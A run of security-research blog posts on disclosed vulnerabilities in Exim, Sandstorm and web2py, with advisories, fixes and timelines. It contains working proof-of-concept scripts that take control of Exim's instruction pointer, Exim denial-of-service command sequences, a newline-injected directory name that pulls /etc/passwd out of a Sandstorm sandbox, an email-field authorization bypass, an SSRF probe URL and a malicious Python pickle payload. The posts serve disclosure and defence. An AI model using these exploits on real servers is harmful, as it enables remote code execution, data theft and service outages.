To leverage this off-by-one, the chunk beneath decoded base64 data should be freed easily and controllable. After several attempts, we found that sender_host_name is a better choice. We arrange the heap layout to leave a freed chunk above sender_host_name for the base64 data.

  1. Put a huge chunk into unsorted bin First of all, we send a EHLO message with huge hostname to make it allocate and deallocate, leaving a 0x6060 length (3 storeblocks long) chunk in unsorted bin.

  2. Cut the first storeblock Then we send an unrecognized string to trigger store_get() and allocate a storeblock inside the freed chunk.

  3. Cut the second storeblock and release the first one We send a EHLO message again to get the second storeblock. The first block is freed sequentially because of the smtp_reset called after EHLO is done.

    After the heap layout is prepared, we can use the off-by-one to overwrite the original chunk size. We modify 0x2021 to 0x20f1, which slightly extends the chunk.

  4. Send base64 data and trigger off-by-one To trigger off-by-one, we start an AUTH command to send base64 data. The overflow byte precisely overwrites the first byte of next chunk and extends the next chunk.

  5. Forge a reasonable chunk size Because the chunk is extended, the start of next chunk of is changed to somewhere inside of the original one. Therefore, we need to make it seems like a normal chunk to pass sanity checks in glibc. We send another base64 string here, because it requires NULL byte and unprintable character to forge chunk size.

  6. Release the extended chunk To control the content of extended chunk, we need to release the chunk first because we cannot edit it directly. That is, we should send a new EHLO message to release the old host name. However, normal EHLO message calls smtp_reset after it succeeds, which possibly makes program abort or crash. To avoid this, we send an invalid host name such as a+.

  7. Overwrite the next pointer of overlapped storeblock

    After the chunk is released, we can retrieve it with AUTH and overwrite part of overlapped storeblock. Here we use a trick called partial write. With this, we can modify the pointer without breaking ASLR (Address space layout randomization). We partially changed the next pointer to a storeblock containing ACL (Access Control List) strings. The ACL strings are pointed by a set of global pointers such as:

     uschar *acl_smtp_auth;
     uschar *acl_smtp_data;
     uschar *acl_smtp_etrn;
     uschar *acl_smtp_expn;
     uschar *acl_smtp_helo;
     uschar *acl_smtp_mail;
     uschar *acl_smtp_quit;
     uschar *acl_smtp_rcpt;
    

    These pointers are initialized at the beginning of exim process, set according to the configure. For example, if there is a line acl_smtp_mail = acl_check_mail in the configure, the pointer acl_smtp_mail points to the string acl_check_mail. Whenever MAIL FROM is used, exim performs an ACL check, which expands acl_check_mail first. While expanding, exim tries to execute commands if it encounters ${run{cmd}}, so we achieve code execution as long as we control the ACL strings. In addition, we do not need to hijack program control flow directly and therefore we can bypass mitigations such as PIE (Position Independent Executables), NX easily.

  8. Reset storeblocks and retrieve the ACL storeblock Now the ACL storeblock is in the linked list chain. It will be released once smtp_reset() is triggered, and then we can retrieve it again by allocating multiple blocks.

  9. Overwrite ACL strings and trigger ACL check Finally, we overwrite the whole block containing ACL strings. Now we send commands such as EHLO, MAIL, RCPT to trigger ACL checks. Once we touch an acl defined in the configure, we achieve remote code execution.

Fix

Upgrade to 4.90.1 or above

Timeline

  • 5 February, 2018 09:10 Reported to Exim
  • 6 February, 2018 23:23 CVE received
  • 10 February, 2018 18:00 Patch released

Credits

Vulnerabilities found by Meh, DEVCORE research team. meh [at] devco [dot] re

Reference

https://exim.org/static/doc/security/CVE-2018-6789.txt https://git.exim.org/exim.git/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6789 http://www.openwall.com/lists/oss-security/2018/02/07/2

Heap exploitation materials [return]

Sandstorm Security Review

25 January 2018 at 16:00

Sandstorm Security Review (English Version)
一次在 Sandstorm 跳脫沙箱的滲透經驗 (中文版本)

Introduction

In early 2017, we had a pentesting target protected with Sandstorm. Sandstorm is a web-based platform which allows users to install their web apps, such as WordPress, GitLab, etc. The main feature of Sandstorm is that it containerizes every app in its own sandbox. Therefore, even though we had found several vulnerabilities of the apps, we still could not put a threat to the server.

In order to leverage the vulnerabilities, we put part of efforts into review of Sandstorm’s source codes, and tried to escape the sandbox to impact the whole server. Finally, we found a number of uncommon and interesting vulnerabilities, and received CVE IDs as follows:

  • CVE-2017-6198 (Denial of Service)
  • CVE-2017-6199 (Bypassing Authorization Schema)
  • CVE-2017-6200 (Insecure Direct Object References)
  • CVE-2017-6201 (Server-Side Request Forgery)

Exploitation Details

CVE-2017-6198

This is a DoS created by system resource exhaustion. The root cause is that Sandstorm does not have a comprehensive policy to limit the amount of resource used by every apps run on it. In src/sandstorm/supervisor.c++ only the maximum number of files opened by each process was limited. See the codes below:

void SupervisorMain::setResourceLimits() {
  struct rlimit limit;
  memset(&limit, 0, sizeof(limit));
  limit.rlim_cur = 1024;
  limit.rlim_max = 4096;
  KJ_SYSCALL(setrlimit(RLIMIT_NOFILE, &limit));
}

Ref: https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/supervisor.c++#L824

Since supervisor does not restrict the amount of subprocesses and storage usage, attackers can raise a resource exhaustion attack to crash the server by simply uploading a malicious app which keeps calling fork() (aka the “fork bomb”) or consumes huge storage space.

CVE-2017-6199

Usually Sandstorm will designate unique permissions to the specific members of a certain organization, and the default membership validation method is to check user’s email address and see whether the string after @ exists in their white list. See the codes below:

if (identity.services.email.email.toLowerCase().split("@").pop() === emailDomain) {
    return true;
}

Ref: https://github.com/sandstorm-io/sandstorm/blob/v0.202/shell/packages/sandstorm-db/db.js#L1112

Therefore, when an attacker fills in an email like [email protected],[email protected] and the system will automatically consider the attacker a member of the aaa.bbb organization.

Another key factor that contributes to the successful attack lies in one of the features when users log on Sandstorm. Users does not need to set up passwords for Sandstorm. Each time when the users need to log onto the service, they only need to fill in their email address, and they’ll receive a set of random unique password for login. The reason why the example above works is because the system treats [email protected],[email protected] as a user from aaa.bbb domain, and the random password will be sent to the two email addresses, [email protected] and [email protected] As long as one can receive the password, they can log in to use the service.

Below is a quick demonstration:

  1. On Sandstorm, restrict access to users from domain aaa.bbb only.

  2. On login page, fill in [email protected],[email protected] for the email field. (Note: at the front end, the email field is checked with HTML5 validation, but it is not further checked for validity at the back end)

  3. Retrieve random password in [email protected] mailbox.

  4. Login successful. [email protected],[email protected] is considered as a user and member of aaa.bbb organization!

In our pentesting, the target website allowed users from validated domains to install their own apps. Therefore, through this bypass exploit, further attacks could be accomplished by combining other vulnerabilities described in this blog post (CVE-2017-6198, CVE-2017-6200, CVE-2017-6201).

CVE-2017-6200

This is an interesting vulnerability. Totally two little validation flaws were exploited to initiate this attack! On Sandstorm, owners of each Grain (Sandstorm container, in short, an app sandbox) can download their backup data for the app. But because of the two vulnerabilities in the packing process, an attacker can pack the files under the /etc and /run directories located on the server outside the sandbox. The security issues were as follows:

  1. The packing process has hid /var, /proc, /etc and other sensitive directories, but did not hide /etc.host and /run.host these two directories. These directories are the aliases for the directories /etc and /run on the server respectively, which are relatively newer features.

  2. The system will pack the legitimate files, have them sorted out, and create zip packages through the standard input interface. The separation between files are determined by line-breaks (\n). As a result, when a line-break string appears in the file name, illegal path file names can be injected and packed with zip. Although the app checks whether there is a line-break in the file name, but the directory name was not checked.

Ref: https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/backup.c%2B%2B#L271

By using these two vulnerabilities together, the attacker simply has to create a directory in the sandbox /var/exp\n/etc.host/passwd\n , then backup files containing /etc/passwd on the server can be retrieved through backup downloading function.

Screenshot of a real-world scenario:

  1. First, create a new directory in Grain /var/exp\n/etc.host/passwd\n, and use the Grain Backup function to download the backup file.

  2. After unzipping the backup file, from etc.host we’ll see /etc/passwd of the server outside the sandbox.

CVE-2017-6201

This is a classic SSRF (Server-Side Request Forgery) issue. Sandstorm allow installation of apps from arbitrary sources, and an attacker can simply let the server access a certain location by providing an installation URL. The problem was identified on https://[target]/install/xxxChangeItEveryTimexxx?url=http://127.0.0.1:22/ This sample link confirms whether the server’s port 22 is open.

(Parse Error, which implies server’s port 22 is open)

Follow-up Updates

After we reported the vulnerabilities, Sandstorm fixed it immediately and then published an article: https://sandstorm.io/news/2017-03-02-security-review

Through this pentesting experience, we consider Sandstorm a safe platform with outstanding security mechanisms. This is mainly attributed to its fundamental design rationale: to assume that every app installed is malicious. With this vigilant assumption, Sandstorm’s defence mechanisms for the core system become comprehensive and watertight. Apart from the server-side protection, some common client-side attacks (such as XSS, CSRF) are handled properly by Sandstorm’s unique countermeasures, such as host name randomization. That is, it is very difficult for attackers to sabotage the server by simply manipulating the apps, and so does privilege escalation through attacking at the client-side.

Nevertheless, such an impressive platform still had some minor mistakes which led to security issues. Most of the vulnerabilities found this time are improper usages of libraries or negligence of existing defence architecture while introducing new features. These types of vulnerability are also common in our other projects. We would like to take the opportunity to remind developers, always present a comprehensive security review especially when developing new features to avoid vulnerabilities caused by the gaps between defence mechanisms.

一次在 Sandstorm 跳脫沙箱的滲透經驗

25 January 2018 at 16:00

Sandstorm Security Review (English Version)
一次在 Sandstorm 跳脫沙箱的滲透經驗 (中文版本)

前言

2017 年初,我們有個滲透測試專案,專案的標的架構在 Sandstorm 之上。Sandstorm 是一款 Web 平台,使用者可以輕易的在該平台安裝各種 Web App(如 WordPress、GitLab…),該平台最大的特色在於這些 App 都是在沙箱中執行。因此,即使我們測試中找到多項 App 弱點,也無法對平台本身造成威脅。

為了讓弱點效益最大化,我們將一部分精力轉移到研究 Sandstorm 原始碼,目的是跳脫 App 的沙箱環境看有沒有機會影響整台伺服器。最後,我們找到了幾個少見且有趣的弱點,並申請 CVE 編號如下:

  • 阻斷服務攻擊(Denial of Service),CVE-2017-6198
  • 繞過授權模式(Bypassing Authorization Schema),CVE-2017-6199
  • 不安全的直接存取物件(Insecure Direct Object References),CVE-2017-6200
  • 服務端請求偽造(Server-Side Request Forgery),CVE-2017-6201

漏洞細節

CVE-2017-6198

這是一個消耗系統資源造成的 DoS。起因是 Sandstorm 並未完善限制每個 App 所能使用的資源,在 src/sandstorm/supervisor.c++ 僅限制了每個程序能夠打開的最多檔案數,相關程式碼如下:

void SupervisorMain::setResourceLimits() {
  struct rlimit limit;
  memset(&limit, 0, sizeof(limit));
  limit.rlim_cur = 1024;
  limit.rlim_max = 4096;
  KJ_SYSCALL(setrlimit(RLIMIT_NOFILE, &limit));
}

Ref: https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/supervisor.c++#L824

由於 supervisor 未限制子程序數量以及未限制儲存空間用量,因此攻擊者只要讓 App 不斷執行 fork(通常稱為 Fork Bomb)或是大量使用硬碟空間,就會造成伺服器資源不足而中斷服務。

CVE-2017-6199

通常 Sandstorm 會設定特定組織成員才能擁有特殊的權限,而系統預設的組織成員判斷方式是檢查使用者 email 中「@」符號最後的字串是否在白名單內,相關程式碼如下:

if (identity.services.email.email.toLowerCase().split("@").pop() === emailDomain) {
    return true;
}

Ref: https://github.com/sandstorm-io/sandstorm/blob/v0.202/shell/packages/sandstorm-db/db.js#L1112

因此,當攻擊者填入的 email 為 [email protected],[email protected],系統便會將攻擊者視為 aaa.bbb 組織的使用者。

這項攻擊得以成功還有另外一個關鍵點,發生在 Sandstorm 登入的一個特色上。使用 Sandstorm 服務不需要設定密碼,使用者每次欲登入時填入 email,系統便會發送一組每次皆不同的隨機密碼作為登入使用。上述的例子之所以能夠成功,就是因為系統將 [email protected],[email protected] 視為一個 aaa.bbb 網域的使用者,而隨機密碼會發送到 [email protected] 以及 [email protected] 兩個不同信箱中,只要可以收到密碼就可以登入使用服務。

直接案例說明:

  1. 在 Sandstorm 限定只有用 aaa.bbb 網域才可以登入。

  2. 登入處 email 欄位填入 [email protected],[email protected]。(註:email 欄位在前端有用 HTML5 Validation,但後端並無檢查 email 是否合法)

  3. [email protected] 信箱收到隨機密碼。

  4. 成功登入,[email protected],[email protected] 被視為一個使用者,且為 aaa.bbb 組織成員!

在我們的滲透測試中,標的網站是允許認證的網域使用者自行安裝 App 的。因此透過這項繞過弱點,攻擊者可以再搭配本篇其他漏洞(CVE-2017-6198、CVE-2017-6200、CVE-2017-6201)做更進一步的攻擊。

CVE-2017-6200

這是一個有趣的弱點,總共組合了兩個驗證上的小疏忽才能達成攻擊! 在 Sandstorm 中每個 Grain(Sandstorm container,簡單來說就是一個 App 沙箱)的擁有者都可以下載該 App 的備份資料,但由於打包流程中存在兩個弱點,因此攻擊者可以打包沙箱外伺服器的 /etc/run 下的檔案。發生的問題如下:

  1. 打包的流程隱藏了 /var/proc/etc 等敏感目錄,卻沒有隱藏 /etc.host/run.host 這兩個目錄。這兩個目錄分別是伺服器下 /etc/run 的別名,是較後期的功能。

  2. 系統會將欲打包的合法檔案整理出來透過標準輸入介面傳給 zip 打包,而判斷檔案和檔案間的區隔是靠換行符號(\n)。因此,當檔名中出現換行符號,可以插入非法的路徑檔名藉由 zip 打包。程式雖然有檢查檔名是否存在換行符,卻疏忽了檢查目錄名。

Ref: https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/backup.c%2B%2B#L271

綜合上述兩個弱點,攻擊者只要在沙箱內建立一個目錄 /var/exp\n/etc.host/passwd\n,就可以透過下載備份的功能取得含有伺服器 /etc/passwd 檔案的備份檔。

實際情境截圖:

  1. 先在 Grain 裡新建目錄 /var/exp\n/etc.host/passwd\n,並用 Grain Backup 的功能下載備份檔。

  2. 解開備份檔後在 etc.host 目錄下看到沙箱外伺服器的 /etc/passwd

CVE-2017-6201

這是經典的 SSRF(Server-Side Request Forgery)問題,在 Sandstorm 安裝 App 流程沒有限制安裝來源,攻擊者提供一個安裝 URL 就能讓伺服器存取該位置。該問題發生在 https://[target]/install/xxxChangeItEveryTimexxx?url=http://127.0.0.1:22/,這個範例連結得以確認伺服器的 22 port 是否開啟。

(Parse Error,代表伺服器 22 port 開啟)

後續

在提交弱點後,Sandstorm 官方非常迅速修正了弱點,並且發表了一篇文章: https://sandstorm.io/news/2017-03-02-security-review

在這次滲透經驗中,我們認為 Sandstorm 是一款安全、有出色防禦機制的平台。主要原因取決於它的一個核心設計理念:就是假設使用者安裝的 App 都是惡意的。以這樣的前提出發去保護核心系統的安全,建立起來的防禦機制自然是全面且完善的。除了伺服器本身的保護,一些常見的客戶端攻擊(例如:XSS、CSRF)也透過 Sandstorm 特殊的隨機 hostname 等機制保護的很好。因此攻擊者很難從 App 本身去破壞伺服器,也很難透過攻擊客戶端去提升使用者的權限。

儘管是如此優秀的平台,仍舊會因一些小地方疏忽導致攻擊者有機可乘。這次發現弱點的地方多半在於 library 的誤用和新功能的撰寫沒有考慮到舊有防禦架構。這在其他專案也是常見的問題,藉機也提醒開發者在開發新功能時應做全面的安全檢視,以避免防禦落差所導致的弱點。

Exim RCE 資安通報 (CVE-2017-16943)

10 December 2017 at 16:00

內容

2017/11/23 我們發現 Unix 的開源軟體 EXIM 含有 Use-After-Free 弱點(CVE-2017-16943)以及 Denial-of-Service 弱點(CVE-2017-16944),當 EXIM 版本是 4.88 或 4.89 並且有開啟 chunking 選項(BDAT 指令)時,攻擊者可傳送特定字串給 EXIM 觸發弱點,可能造成郵件伺服器被遠端攻擊者入侵或是郵件伺服器無法繼續提供服務

根據 E-Soft Inc. 在 11 月所做的調查,約有 57萬台(56%)的郵件伺服器使用 EXIM 軟體。建議 EXIM 的使用者檢查版本是否為 4.88 或 4.89,若是,則需修改 EXIM 的設定,將 chunking 選項關閉(在 config 裡將 chunking_advertise_hosts 選項留空),或是更新至 4.89.1 版,以避免遭受攻擊。

細節

詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/

Road to Exim RCE - Abusing Unsafe Memory Allocator in the Most Popular MTA

10 December 2017 at 16:00

On 23 November, 2017, we reported two vulnerabilities to Exim. These bugs exist in the SMTP daemon and attackers do not need to be authenticated, including CVE-2017-16943 for a use-after-free (UAF) vulnerability, which leads to Remote Code Execution (RCE); and CVE-2017-16944 for a Denial-of-Service (DoS) vulnerability.

About Exim

Exim is a message transfer agent (MTA) used on Unix systems. Exim is an open source project and is the default MTA on Debian GNU/Linux systems. According to our survey, there are about 600k SMTP servers running exim on 21st November, 2017 (data collected from scans.io). Also, a mail server survey by E-Soft Inc. shows over half of the mail servers identified are running exim.

Affected

  • Exim version 4.88 & 4.89 with chunking option enabled.
  • According to our survey, about 150k servers affected on 21st November, 2017 (data collected from scans.io).

Vulnerability Details

Through our research, the following vulnerabilies were discovered in Exim. Both vulnerabilies involve in BDAT command. BDAT is an extension in SMTP protocol, which is used to transfer large and binary data. A BDAT command is like BDAT 1024 or BDAT 1024 LAST. With the SIZE and LAST declared, mail servers do not need to scan for the end dot anymore. This command was introduced to exim in version 4.88, and also brought some bugs.

  • Use-after-free in receive_msg leads to RCE (CVE-2017-16943)
  • Incorrect BDAT data handling leads to DoS (CVE-2017-16944)

Use-after-free in receive_msg leads to RCE

Vulnerability Analysis

To explain this bug, we need to start with the memory management of exim. There is a series of functions starts with store_ such as store_get, store_release, store_reset. These functions are used to manage dynamically allocated memory and improve performance. Its architecture is like the illustration below: architecture of storeblock

Initially, exim allocates a big storeblock (default 0x2000) and then cut it into stores when store_get is called, using global pointers to record the size of unused memory and where to cut in next allocation. Once the current_block is insufficient, it allocates a new block and appends it to the end of the chain, which is a linked list, and then makes current_block point to it. Exim maintains three store_pool, that is, there are three chains like the illustration above and every global variables are actually arrays. This vulnerability is in receive_msg where exim reads headers: receive.c: 1817 receive_msg

  if (ptr >= header_size - 4)
    {
    int oldsize = header_size;
    /* header_size += 256; */
    header_size *= 2;
    if (!store_extend(next->text, oldsize, header_size))
      {
      uschar *newtext = store_get(header_size);
      memcpy(newtext, next->text, ptr);
      store_release(next->text);
      next->text = newtext;
      }
    }

It seems normal if the store functions are just like realloc, malloc and free. However, they are different and cannot be used in this way. When exim tries to extend store, the function store_extend checks whether the old store is the latest store allocated in current_block. It returns False immediately if the check is failed. store.c: 276 store_extend

if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
    inc > yield_length[store_pool] + rounded_oldsize - oldsize)
  return FALSE;

Once store_extend fails, exim tries to get a new store and release the old one. After we look into store_get and store_release, we found that store_get returns a store, but store_release releases a block if the store is at the head of it. That is to say, if next->text points to the start the current_block and store_get cuts store inside it for newtext, then store_release(next->text) frees next->text, which is equal to current_block, and leaves newtext and current_block pointing to a freed memory area. Any further usage of these pointers leads to a use-after-free vulnerability. To trigger this bug, we need to make exim call store_get after next->text is allocated. This was impossible until BDAT command was introduced into exim. BDAT makes store_get reachable and finally leads to an RCE. Exim uses function pointers to switch between different input sources, such as receive_getc, receive_getbuf. When receiving BDAT data, receive_getc is set to bdat_getc in order to check left chunking data size and to handle following command of BDAT. In receive_msg, exim also uses receive_getc. It loops to read data, and stores data into next->text, extends if insufficient. receive.c: 1817 receive_msg

for (;;)
  {
  int ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
  
  /* If we hit EOF on a SMTP connection, it's an error, since incoming
  SMTP must have a correct "." terminator. */

  if (ch == EOF && smtp_input /* && !smtp_batched_input */)
    {
    smtp_reply = handle_lost_connection(US" (header)");
    smtp_yield = FALSE;
    goto TIDYUP;                       /* Skip to end of function */
    }

In bdat_getc, once the SIZE is reached, it tries to read the next BDAT command and raises error message if the following command is incorrect. smtp_in.c: 628 bdat_getc

    case BDAT_CMD:
      {
      int n;

      if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1)
  {
  (void) synprot_error(L_smtp_protocol_error, 501, NULL,
    US"missing size for BDAT command");
  return ERR;
  }

In exim, it usually calls synprot_error to raise error message, which also logs at the same time. smtp_in.c: 628 bdat_getc

static int
synprot_error(int type, int code, uschar *data, uschar *errmess)
{
int yield = -1;

log_write(type, LOG_MAIN, "SMTP %s error in \"%s\" %s %s",
  (type == L_smtp_syntax_error)? "syntax" : "protocol",
  string_printing(smtp_cmd_buffer), host_and_ident(TRUE), errmess);

The log messages are printed by string_printing. This function ensures a string is printable. For this reason, it extends the string to transfer characters if any unprintable character exists, such as '\n'->'\\n'. Therefore, it asks store_get for memory to store strings. This store makes if (!store_extend(next->text, oldsize, header_size)) in receive_msg failed when next extension occurs and then triggers use-after-free.

Exploitation

The following is the Proof-of-Concept(PoC) python script of this vulnerability. This PoC controls the control flow of SMTP server and sets instruction pointer to 0xdeadbeef. For fuzzing issue, we did change the runtime configuration of exim. As a result, this PoC works only when dkim is enabled. We use it as an example because the situation is less complicated. The version with default configuration is also exploitable, and we will discuss it at the end of this section.

# CVE-2017-16943 PoC by meh at DEVCORE
# pip install pwntools
from pwn import *

r = remote('127.0.0.1', 25)

r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<[email protected]>")
r.recvline()
r.sendline("RCPT TO:<[email protected]>")
r.recvline()
r.sendline('a'*0x1250+'\x7f')
r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT \x7f')
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.recvuntil('command')
r.send('\n')

r.interactive()
  1. Running out of current_block In order to achieve code execution, we need to make the next->text get the first store of a block. That is, running out of current_block and making store_get allocate a new block. Therefore, we send a long message 'a'*0x1250+'\x7f' with an unprintable character to cut current_block, making yield_length less than 0x100.
  2. Starts BDAT data transfer After that, we send BDAT command to start data transfer. At the beginning, next and next->text are allocated by store_get. The function dkim_exim_verify_init is called sequentially and it also calls store_get. Notice that this function uses ANOTHER store_pool, so it allocates from heap without changing current_block which next->text also points to. receive.c: 1734 receive_msg
     if (smtp_input && !smtp_batched_input && !dkim_disable_verify)
       dkim_exim_verify_init(chunking_state <= CHUNKING_OFFERED);
    
  3. Call store_getc inside bdat_getc Then, we send a BDAT command without SIZE. Exim complains about the incorrect command and cuts the current_block with store_get in string_printing.
  4. Keep sending msg until extension and bug triggered In this way, while we keep sending huge messages, current_block gets freed after the extension. In the malloc.c of glibc (so called ptmalloc2), system manages a linked list of freed memory chunks, which is called unsorted bin. Freed chunks are put into unsorted bin if it is not the last chunk on the heap. In step 2, dkim_exim_verify_init allocated chunks after next->text. Therefore, this chunk is put into unsorted bin and the pointers of linked list are stored into the first 16 bytes of chunk (on x86-64). The location written is exactly current_block->next, and therefore current_block->next is overwritten to unsorted bin inside main_arena of libc (linked list pointer fd points back to unsorted bin if no other freed chunk exists).
  5. Keep sending msg for the next extension When the next extension occurs, store_get tries to cut from main_arena, which makes attackers able to overwrite all global variables below main_arena.
  6. Overwrite global variables in libc
  7. Finish sending message and trigger free() In the PoC, we simply modified __free_hook and ended the line. Exim calls store_reset to reset the buffer and calls __free_hook in free(). At this stage, we successfully controlled instruction pointer $rip. However, this is not enough for an RCE because the arguments are uncontrollable. As a result, we improved this PoC to modify both __free_hook and _IO_2_1_stdout_. We forged the vtable of stdout and set __free_hook to any call of fflush(stdout) inside exim. When the program calls fflush, it sets the first argument to stdout and jumps to a function pointer on the vtable of stdout. Hence, we can control both $rip and the content of first argument. We consulted past CVE exploits and decided to call expand_string, which executes command with execv if we set the first argument to ${run{cmd}}, and finally we got our RCE.

Exploit for default configured exim

When dkim is disabled, the PoC above fails because current_block is the last chunk on heap. This makes the system merge it into a big chunk called top chunk rather than unsorted bin. The illustrations below describe the difference of heap layout:

To avoid this, we need to make exim allocate and free some memories before we actually start our exploitation. Therefore, we add some steps between step 1 and step 2.

After running out of current_block:

  1. Use DATA command to send lots of data Send huge data, make the chunk big and extend many times. After several extension, it calls store_get to retrieve a bigger store and then releases the old one. This repeats many times if the data is long enough. Therefore, we have a big chunk in unsorted bin.
  2. End DATA transfer and start a new email Restart to send an email with BDAT command after the heap chunk is prepared.
  3. Adjust yield_length again Send invalid command with an unprintable charater again to cut the current_block.

Finally the heap layout is like:

And now we can go back to the step 2 at the beginning and create the same situation. When next->text is freed, it goes back to unsorted bin and we are able to overwrite libc global variables again. The following is the PoC for default configured exim:

# CVE-2017-16943 PoC by meh at DEVCORE
# pip install pwntools
from pwn import *

r = remote('localhost', 25)

r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<>")
r.recvline()
r.sendline("RCPT TO:<[email protected]>")
r.recvline()
r.sendline('a'*0x1280+'\x7f')
r.recvuntil('command')
r.sendline('DATA')
r.recvuntil('itself\r\n')
r.sendline('b'*0x4000+':\r\n')
r.sendline('.\r\n')
r.sendline('.\r\n')
r.recvline()
r.sendline("MAIL FROM:<>")
r.recvline()
r.sendline("RCPT TO:<[email protected]>")
r.recvline()
r.sendline('a'*0x3480+'\x7f')
r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT \x7f')
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.send('\n')
r.interactive()

A demo of our exploit is as below. Note that we have not found a way to leak memory address and therefore we use heap spray instead. It requires another information leakage vulnerability to overcome the PIE mitigation on x86-64.

Incorrect BDAT data handling leads to DoS

Vulnerability Analysis

When receiving data with BDAT command, SMTP server should not consider a single dot ‘.’ in a line to be the end of message. However, we found exim does in receive_msg when parsing header. Like the following output:

220 devco.re ESMTP Exim 4.90devstart_213-7c6ec81-XX Mon, 27 Nov 2017 16:58:20 +0800
EHLO test
250-devco.re Hello root at test
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN LOGIN CRAM-MD5
250-CHUNKING
250-STARTTLS
250-PRDR
250 HELP
MAIL FROM:<[email protected]>
250 OK
RCPT TO:<[email protected]>
250 Accepted
BDAT 10
.
250- 10 byte chunk, total 0
250 OK id=1eJFGW-000CB0-1R

As we mentioned before, exim uses function pointers to switch input source. This bug makes exim go into an incorrect state because the function pointer receive_getc is not reset. If the next command is also a BDAT, receive_getc and lwr_receive_getc become the same and an infinite loop occurs inside bdat_getc. Program crashes due to stack exhaustion. smtp_in.c: 546 bdat_getc

  if (chunking_data_left > 0)
    return lwr_receive_getc(chunking_data_left--);

This is not enough to pose a threat because exim runs a fork server. After a further analysis, we made exim go into an infinite loop without crashing, using the following commands.

# CVE-2017-16944 PoC by meh at DEVCORE

EHLO localhost
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
BDAT 100
.
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
BDAT 0 LAST

This makes attackers able to launch a resource based DoS attack and then force the whole server down.

Fix

  • Turn off Chunking option in config file:
    chunking_advertise_hosts =
    
  • Update to 4.89.1 version
  • Patch of CVE-2017-16943 released here
  • Patch of CVE-2017-16944 released here

Timeline

  • 23 November, 2017 09:40 Report to Exim Bugzilla
  • 25 November, 2017 16:27 CVE-2017-16943 Patch released
  • 28 November, 2017 16:27 CVE-2017-16944 Patch released
  • 3 December, 2017 13:15 Send an advisory release notification to Exim and wait for reply until now

Remarks

While we were trying to report these bugs to exim, we could not find any method for security report. Therefore, we followed the link on the official site for bug report and found the security option. Unexpectedly, the Bugzilla posts all bugs publicly and therefore the PoC was leaked. Exim team responded rapidly and improved their security report process by adding a notification for security reports in reaction to this.

Credits

Vulnerabilities found by Meh, DEVCORE research team. meh [at] devco [dot] re

Reference

https://bugs.exim.org/show_bug.cgi?id=2199 https://bugs.exim.org/show_bug.cgi?id=2201 https://nvd.nist.gov/vuln/detail/CVE-2017-16943 https://nvd.nist.gov/vuln/detail/CVE-2017-16944 https://lists.exim.org/lurker/message/20171125.034842.d1d75cac.en.html

WEB2PY 反序列化的安全問題-CVE-2016-3957

2 January 2017 at 16:00

前言

在一次滲透測試的過程中,我們遇到了用 web2py 框架建構的應用程式。為了成功滲透目標,我們研究了 web2py,發現該框架範例應用程式中存在三個資訊洩漏問題,這些洩漏都會導致遠端命令執行 (RCE)。由於範例應用程式預設是開啟的,若沒有手動關閉,攻擊者可以直接利用洩漏資訊取得系統執行權限。這些問題編號分別為:CVE-2016-3952、CVE-2016-3953、CVE-2016-3954、CVE-2016-3957。

背景-老生常談的 Pickle Code Execution

在繼續說明前必須要先認知什麼是反序列化的安全問題?反序列化的安全問題在本質上其實是物件注入,它的嚴重性取決於所注入的物件本身是否會造成危險行為,例如讀寫檔。一般來說要透過反序列化建構一個成功的攻擊有兩個要點:

  • 是否可控制目標所要反序列化的字串。
  • 危險行為在反序列化後是否會被執行。這在實務上大概有下面兩種情形:
    • 危險行為是寫在魔法方法 (Magic Method) 裡面,例如 PHP 的 __construct 在物件生成時一定會執行。
    • 反序列化後覆蓋既有物件,導致正常程式流程出現危險結果。

反序列化的問題在每個程式語言都會發生,但通常需要搭配看程式碼拼湊出可以用的攻擊流程,比較難利用。不過,某些實作序列化的函式庫會將程式邏輯也序列化成字串,因此攻擊者可以自定義物件直接使用,不再需要拼湊,例如今天要提的 Python Pickle。

直接舉個 Pickle 的例子如下,我們製造了一個會執行系統指令 echo success 的物件 Malicious,並且序列化成字串 "cposix\nsystem\np1\n(S'echo success'\np2\ntp3\nRp4\n."。當受害者反序列化這個字串,即觸發執行該系統指令,因此印出 success

>>> import os
>>> import cPickle
>>> class Malicious(object):
...   def __reduce__(self):
...     return (os.system,("echo success",))
...
>>> serialize = cPickle.dumps(Malicious())
>>> serialize
"cposix\nsystem\np1\n(S'echo success'\np2\ntp3\nRp4\n."
>>> cPickle.loads(serialize)
success
0

這就是 Pickle 誤用反序列化所造成的命令執行風險。攻擊者很容易可以產生一個含有任意命令執行的序列化字串,進而讓受害者在進行反序列化的過程中觸發執行惡意命令。

反序列化 + 序列化字串可控

本次發現的問題主要來自 web2py 本身的 session cookie 使用 Pickle 處理序列化需求 (CVE-2016-3957),而且因為 session cookie 的加密字串固定 (CVE-2016-3953),攻擊者可任意偽造惡意的序列化字串造成前面所介紹的命令執行風險。細節如下。

CVE-2016-39571

web2py 的應用程式如果使用 cookie 來儲存 session 資訊,那麼在每次接到使用者請求時會將 session cookie 用一個 secure_loads 函式將 cookie 內容讀入。 [Ref]

gluon/globals.py#L846
        if response.session_storage_type == 'cookie':
            # check if there is session data in cookies
            if response.session_data_name in cookies:
                session_cookie_data = cookies[response.session_data_name].value
            else:
                session_cookie_data = None
            if session_cookie_data:
                data = secure_loads(session_cookie_data, cookie_key,
                                    compression_level=compression_level)
                if data:
